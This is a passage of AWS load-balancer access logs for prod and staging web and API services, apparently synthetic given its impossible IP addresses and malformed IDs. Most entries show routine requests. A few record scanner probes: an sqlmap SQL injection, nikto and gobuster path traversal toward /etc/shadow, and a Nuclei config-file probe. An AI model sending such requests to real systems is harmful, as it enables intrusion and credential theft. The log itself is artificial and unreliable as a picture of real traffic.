arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2fd-dd866e22ac0842dcb51faca2" "staging-alb.example.com" "-" 4 2024-11-01T00:48:45.818183Z "forward" "-" "-" "219.119.106.112:443" "200" "-" "-" -https 2024-11-01T00:48:47.261686Z prod-web-alb 246.101.41.85:26597 10.0.98.31:443 0.015233 0.044780 0.042716 200 200 584 3396 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ff-830e4b36fecc4e9fb83dd2ca" "prod-web-alb.example.com" "-" 7 2024-11-01T00:48:47.261686Z "forward" "-" "-" "10.0.98.31:443" "200" "-" "-" -https 2024-11-01T00:48:47.926164Z prod-web-alb 28.213.54.19:63419 10.0.22.173:443 0.000824 0.166922 0.025161 302 302 836 7757 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2ff-2191ee9855734d53a20d6ddf" "prod-web-alb.example.com" "-" 2 2024-11-01T00:48:47.926164Z "forward" "-" "-" "10.0.22.173:443" "302" "-" "-" -https 2024-11-01T00:48:49.127527Z prod-api-alb 185.181.26.16:19631 10.0.203.37:443 0.030972 0.243546 0.036015 500 500 219 9950 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c301-5888a20fb7d049929cdabe2f" "-" "-" 4 2024-11-01T00:48:49.127527Z "forward" "-" "-" "10.0.203.37:443" "500" "-" "-" -https 2024-11-01T00:48:49.456941Z staging-alb 15.189.32.113:64559 208.129.106.163:8080 0.048688 0.004542 0.003452 200 200 59 6785 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c301-f41a6154d53248f3b41f248b" "staging-alb.example.com" "-" 8 2024-11-01T00:48:49.456941Z "forward" "-" "-" "208.129.106.163:8080" "200" "-" "-" -https 2024-11-01T00:48:49.940322Z prod-web-alb 140.35.115.51:39224 10.0.115.19:443 0.031328 0.142316 0.090002 200 200 589 13187 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c301-dc9698f5981c4991b2c3e684" "prod-web-alb.example.com" "-" 8 2024-11-01T00:48:49.940322Z "forward" "-" "-" "10.0.115.19:443" "200" "-" "-" -https 2024-11-01T00:48:50.821401Z prod-web-alb 50.164.59.112:13061 10.0.179.80:443 0.067678 0.136341 0.079124 302 302 331 1347 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c302-118832addca7455fb128612b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:48:50.821401Z "forward" "-" "-" "10.0.179.80:443" "302" "-" "-" -https 2024-11-01T00:48:52.527244Z staging-alb 53.113.2.104:51169 72.128.49.178:80 0.049175 0.261211 0.047159 200 200 638 14909 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c304-9bf1dcb1f13c4cbea200023e" "staging-alb.example.com" "-" 0 2024-11-01T00:48:52.527244Z "forward" "-" "-" "72.128.49.178:80" "200" "-" "-" -https 2024-11-01T00:48:54.046538Z prod-api-alb 126.43.106.187:39625 10.0.218.218:443 0.045084 0.411903 0.095218 200 200 333 14284 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c306-4ba46f2852f44e9ea580bd18" "prod-api-alb.example.com" "-" 10 2024-11-01T00:48:54.046538Z "forward" "-" "-" "10.0.218.218:443" "200" "-" "-" -http 2024-11-01T00:48:55.244490Z staging-alb 138.253.178.64:47013 26.155.16.228:8080 0.107217 0.608157 0.117498 200 200 306 12359 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c307-d19eb90f7408405b944367f6" "staging-alb.example.com" "-" 8 2024-11-01T00:48:55.244490Z "forward" "-" "-" "26.155.16.228:8080" "200" "-" "-" -https 2024-11-01T00:48:56.697456Z prod-web-alb 152.238.49.31:14504 10.0.233.67:443 0.043944 0.439029 0.038712 200 200 161 5870 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c308-eba6c34cce504968b89666a9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:56.697456Z "forward" "-" "-" "10.0.233.67:443" "200" "-" "-" -https 2024-11-01T00:48:57.868136Z prod-api-alb 245.7.208.227:54830 10.0.66.37:443 0.076555 0.154522 0.021557 302 302 434 1907 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c309-a369cedfb97743848f49ef37" "prod-api-alb.example.com" "-" 9 2024-11-01T00:48:57.868136Z "forward" "-" "-" "10.0.66.37:443" "302" "-" "-" -https 2024-11-01T00:48:59.356439Z prod-api-alb 236.110.66.252:52413 10.0.128.5:443 0.044306 0.432603 0.069568 404 404 659 14987 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30b-3e50e68e4a2445c0b6861ba0" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:59.356439Z "forward" "-" "-" "10.0.128.5:443" "404" "-" "-" -https 2024-11-01T00:48:59.509800Z prod-api-alb 152.160.147.127:33160 10.0.234.212:443 0.093804 0.311718 0.098111 200 200 67 7476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30b-ae8d435e232d407c9e23b483" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:59.509800Z "forward" "-" "-" "10.0.234.212:443" "200" "-" "-" -https 2024-11-01T00:49:01.472173Z staging-alb 98.143.65.75:35203 162.173.102.104:80 0.013551 0.017938 0.078801 404 404 792 4729 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c30d-379f8ffbb6a848b0b354553a" "staging-alb.example.com" "-" 1 2024-11-01T00:49:01.472173Z "forward" "-" "-" "162.173.102.104:80" "404" "-" "-" -https 2024-11-01T00:49:01.841013Z prod-api-alb 29.18.137.152:14256 10.0.35.221:443 0.099373 0.281090 0.050641 200 200 974 8096 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30d-e3cae5beab014417b2edcb93" "prod-api-alb.example.com" "-" 2 2024-11-01T00:49:01.841013Z "forward" "-" "-" "10.0.35.221:443" "200" "-" "-" -https 2024-11-01T00:49:03.165684Z prod-web-alb 216.32.127.82:15908 10.0.1.59:443 0.042077 0.453237 0.021471 200 200 317 7643 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c30f-fc40e043f868485cbb161bed" "prod-web-alb.example.com" "-" 0 2024-11-01T00:49:03.165684Z "forward" "-" "-" "10.0.1.59:443" "200" "-" "-" -https 2024-11-01T00:49:03.857509Z prod-web-alb 14.73.41.231:39462 10.0.198.203:443 0.074332 0.076572 0.067224 200 200 221 12437 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c30f-cb99dcabaa8d496ea6e65af3" "-" "-" 5 2024-11-01T00:49:03.857509Z "forward" "-" "-" "10.0.198.203:443" "200" "-" "-" -https 2024-11-01T00:49:05.535936Z prod-api-alb 115.145.161.83:52152 10.0.138.7:443 0.025886 0.428292 0.066663 301 301 476 2901 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c311-1d8710b0d06f451182b62af2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:05.535936Z "forward" "-" "-" "10.0.138.7:443" "301" "-" "-" -https 2024-11-01T00:49:06.273491Z staging-alb 0.141.80.238:20332 26.64.108.195:8080 0.073733 0.363568 0.038538 302 302 813 10373 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c312-5f0e2aa8d09f411299210673" "staging-alb.example.com" "-" 1 2024-11-01T00:49:06.273491Z "forward" "-" "-" "26.64.108.195:8080" "302" "-" "-" -https 2024-11-01T00:49:06.511077Z prod-api-alb 192.49.59.24:56183 10.0.247.241:443 0.010519 0.027122 0.064031 404 404 510 7495 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c312-cd7e06a080f14eec84ec42fd" "prod-api-alb.example.com" "-" 8 2024-11-01T00:49:06.511077Z "forward" "-" "-" "10.0.247.241:443" "404" "-" "-" -https 2024-11-01T00:49:06.912831Z prod-api-alb 45.155.205.70:63958 10.0.39.197:443 0.075766 0.401447 0.034534 403 403 903 5648 "GET /config.php~ HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c312-7f1e3a9897544f2d9ab4908f" "-" "-" 7 2024-11-01T00:49:06.912831Z "forward" "-" "-" "10.0.39.197:443" "403" "-" "-" -https 2024-11-01T00:49:08.543228Z prod-web-alb 97.63.159.27:57484 10.0.2.218:443 0.041495 0.082883 0.088228 200 200 824 11045 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c314-b15d8127f87f476b982eb453" "-" "-" 0 2024-11-01T00:49:08.543228Z "forward" "-" "-" "10.0.2.218:443" "200" "-" "-" -https 2024-11-01T00:49:10.036305Z prod-api-alb 162.126.5.216:21179 10.0.190.195:443 0.045411 0.071098 0.091000 200 200 239 14297 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c316-6c96a6f74a0646f191785a88" "prod-api-alb.example.com" "-" 5 2024-11-01T00:49:10.036305Z "forward" "-" "-" "10.0.190.195:443" "200" "-" "-" -https 2024-11-01T00:49:10.484818Z prod-web-alb 40.56.217.219:60783 10.0.59.241:443 0.070808 0.326352 0.025923 404 404 272 3364 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c316-87a9d59c83de47f994dd9f6e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:10.484818Z "forward" "-" "-" "10.0.59.241:443" "404" "-" "-" -https 2024-11-01T00:49:10.666840Z prod-web-alb 48.55.211.13:48926 10.0.5.237:443 0.087286 0.053412 0.020332 200 200 113 4150 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c316-ff5c9008963145dfa87c0907" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:10.666840Z "forward" "-" "-" "10.0.5.237:443" "200" "-" "-" -https 2024-11-01T00:49:12.007460Z prod-api-alb 28.208.200.5:57727 10.0.79.249:443 0.009613 0.057562 0.008243 404 404 402 10080 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c318-df78ccdce736453499084c27" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:12.007460Z "forward" "-" "-" "10.0.79.249:443" "404" "-" "-" -https 2024-11-01T00:49:12.915247Z prod-api-alb 193.27.228.98:57347 10.0.146.182:443 0.008249 0.203801 0.048337 404 404 471 7883 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c318-d5a16cec9675408888838005" "-" "-" 1 2024-11-01T00:49:12.915247Z "forward" "-" "-" "10.0.146.182:443" "404" "-" "-" -https 2024-11-01T00:49:14.282142Z prod-web-alb 234.59.21.58:21726 10.0.8.201:443 0.014072 0.204742 0.049289 200 200 194 1723 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c31a-893dae7c3190403cb0a343d5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:14.282142Z "forward" "-" "-" "10.0.8.201:443" "200" "-" "-" -https 2024-11-01T00:49:16.180580Z prod-api-alb 12.71.87.180:52481 10.0.245.149:443 0.086569 0.144765 0.079434 200 200 237 13136 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c31c-9af64444b55f4e5eaf035c37" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:16.180580Z "forward" "-" "-" "10.0.245.149:443" "200" "-" "-" -https 2024-11-01T00:49:18.126084Z prod-api-alb 173.226.192.40:34348 10.0.8.109:443 0.047002 0.109748 0.065142 301 301 176 3205 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c31e-13aa76802d3e442980c90886" "prod-api-alb.example.com" "-" 1 2024-11-01T00:49:18.126084Z "forward" "-" "-" "10.0.8.109:443" "301" "-" "-" -https 2024-11-01T00:49:19.344592Z staging-alb 37.140.74.111:61719 68.163.128.212:80 0.134695 0.707422 0.129612 301 301 210 5602 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c31f-eef7ca1ceb824863b7197010" "staging-alb.example.com" "-" 8 2024-11-01T00:49:19.344592Z "forward" "-" "-" "68.163.128.212:80" "301" "-" "-" -https 2024-11-01T00:49:19.637982Z prod-web-alb 158.98.208.97:18686 10.0.255.87:443 0.047006 0.026559 0.020553 404 404 204 2277 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c31f-f2771ad5d4544323be643aff" "prod-web-alb.example.com" "-" 6 2024-11-01T00:49:19.637982Z "forward" "-" "-" "10.0.255.87:443" "404" "-" "-" -https 2024-11-01T00:49:21.269466Z staging-alb 8.235.53.132:61881 80.218.232.170:8080 0.038475 0.553543 0.022406 301 301 845 9007 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c321-bfb5a2cf80254361b79e1c55" "staging-alb.example.com" "-" 2 2024-11-01T00:49:21.269466Z "forward" "-" "-" "80.218.232.170:8080" "301" "-" "-" -https 2024-11-01T00:49:22.309148Z prod-api-alb 250.27.220.137:38837 10.0.131.18:443 0.090002 0.439438 0.055169 200 200 732 7969 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c322-33fc71e3f2fa4e859adf5a71" "prod-api-alb.example.com" "-" 10 2024-11-01T00:49:22.309148Z "forward" "-" "-" "10.0.131.18:443" "200" "-" "-" -https 2024-11-01T00:49:23.809525Z prod-web-alb 149.16.234.128:17551 10.0.141.25:443 0.010047 0.368081 0.076083 302 302 940 2434 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c323-89c50b603f42448a9312f388" "prod-web-alb.example.com" "-" 6 2024-11-01T00:49:23.809525Z "forward" "-" "-" "10.0.141.25:443" "302" "-" "-" -https 2024-11-01T00:49:24.918924Z prod-api-alb 173.136.46.24:30169 10.0.8.55:443 0.016507 0.143972 0.041342 200 200 504 4562 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c324-d2172f9243f442d7ae2e11cb" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:24.918924Z "forward" "-" "-" "10.0.8.55:443" "200" "-" "-" -http 2024-11-01T00:49:26.339652Z staging-alb 25.126.116.62:43479 92.101.53.95:80 0.082492 0.295555 0.133756 302 302 304 14657 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c326-34233bd4956b4f61b813da41" "staging-alb.example.com" "-" 10 2024-11-01T00:49:26.339652Z "forward" "-" "-" "92.101.53.95:80" "302" "-" "-" -https 2024-11-01T00:49:27.155826Z prod-api-alb 45.155.205.141:31358 10.0.108.105:443 0.057678 0.447869 0.027574 403 403 67 3028 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c327-e058874f000f4870ae58ed45" "-" "-" 10 2024-11-01T00:49:27.155826Z "forward" "-" "-" "10.0.108.105:443" "403" "-" "-" -https 2024-11-01T00:49:28.736770Z prod-web-alb 239.175.76.123:60429 10.0.163.153:443 0.074175 0.407783 0.032963 302 302 89 11283 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c328-77f8a8a740f9497a8e3502f8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:28.736770Z "forward" "-" "-" "10.0.163.153:443" "302" "-" "-" -https 2024-11-01T00:49:30.249973Z prod-web-alb 178.183.159.208:23998 10.0.211.125:443 0.097388 0.160678 0.042658 200 200 891 8481 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32a-3b8bd0e5ec134ed683badea8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:30.249973Z "forward" "-" "-" "10.0.211.125:443" "200" "-" "-" -https 2024-11-01T00:49:31.405200Z prod-api-alb 255.140.229.199:14056 10.0.234.249:443 0.001005 0.056222 0.054518 302 302 455 10049 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c32b-78eaea87fbc64fe489292e45" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:31.405200Z "forward" "-" "-" "10.0.234.249:443" "302" "-" "-" -http 2024-11-01T00:49:33.316061Z staging-alb 165.221.245.206:31851 227.101.26.192:80 0.099276 0.499773 0.102509 200 200 294 8311 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c32d-5e2fd6a8268143cca1bef4f4" "staging-alb.example.com" "-" 8 2024-11-01T00:49:33.316061Z "forward" "-" "-" "227.101.26.192:80" "200" "-" "-" -http 2024-11-01T00:49:33.969199Z staging-alb 100.251.143.49:46365 182.101.67.17:80 0.111738 0.745056 0.009322 200 200 873 4068 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c32d-fca68371bf2c4f1ba9cf1032" "staging-alb.example.com" "-" 2 2024-11-01T00:49:33.969199Z "forward" "-" "-" "182.101.67.17:80" "200" "-" "-" -https 2024-11-01T00:49:34.353984Z prod-web-alb 26.106.13.95:32378 10.0.124.231:443 0.094101 0.201298 0.074797 200 200 274 5827 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32e-5d7b761f57eb4dd7a4517324" "prod-web-alb.example.com" "-" 10 2024-11-01T00:49:34.353984Z "forward" "-" "-" "10.0.124.231:443" "200" "-" "-" -https 2024-11-01T00:49:34.505499Z prod-web-alb 67.115.253.54:36074 10.0.45.54:443 0.008030 0.010121 0.021125 302 302 82 7224 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32e-d8d66d95c0b1420f9e86c8c3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:49:34.505499Z "forward" "-" "-" "10.0.45.54:443" "302" "-" "-" -https 2024-11-01T00:49:35.503754Z prod-web-alb 108.7.153.213:48627 10.0.37.127:443 0.002653 0.177971 0.032714 301 301 380 7835 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32f-571dd8aa94194556ae5693ce" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:35.503754Z "forward" "-" "-" "10.0.37.127:443" "301" "-" "-" -https 2024-11-01T00:49:36.913354Z prod-web-alb 235.131.27.178:60042 10.0.219.212:443 0.096111 0.332713 0.063677 200 200 100 2481 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c330-eef46d0e3bfc436b8f937782" "prod-web-alb.example.com" "-" 3 2024-11-01T00:49:36.913354Z "forward" "-" "-" "10.0.219.212:443" "200" "-" "-" -http 2024-11-01T00:49:37.557106Z staging-alb 235.245.45.129:13053 238.183.230.38:80 0.014339 0.231318 0.120386 200 200 124 14096 